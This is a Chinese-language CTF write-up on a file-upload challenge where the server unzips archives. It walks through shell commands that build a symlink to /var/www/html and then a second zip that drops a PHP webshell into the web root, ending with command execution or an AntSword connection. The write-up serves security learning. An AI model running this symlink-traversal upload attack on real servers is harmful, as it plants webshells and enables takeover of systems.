复现unzip |
您所在的位置:网站首页 › unzip强制覆盖文件 › 复现unzip |
我们先打开题目链接 是一个文件上传的题目,我们先尝试了几种简单的上传,但是页面似乎没有什么变动 直到我们传了zip形式的页面才有变化 上传之后
检查文件的MIME类型。如果上传的文件是ZIP文件(MIME类型为application/zip),则将其解压缩到服务器的/tmp目录,并且覆盖原文件。 这里限制为zip形式,我们后面上传的就要是zip形式了 解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞 师傅们解法是用软连接进行目录穿越 软连接是linux中一个常用命令, 它的功能是为某一个 文件在另外一个位置建立一个同步的链接,这就有点像Windows下快捷方式 虚拟机下 这里先生成目标文件 ln -s /var/www/html test先压缩成为第一个压缩包 zip -y test1.zip test删除文件夹 rm -rf testmkdir是make directory的缩写,Linux中 mkdir 命令用来创建指定的名称的目录 mkdir test打开test cd test 开始写马 echo '' >a.php 退出test cd .. 第二个压缩包zip -q -r test2.zip test 使用zip来将文件夹test压缩为test2.zip -r代表 recursive,代表递归处理,将指定目录下的所有文件和子目录一并处理 -q代表 quiet,代表无声模式,不输出压缩时的具体细节。 上传成功之后,命令执行或者蚁剑连接 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |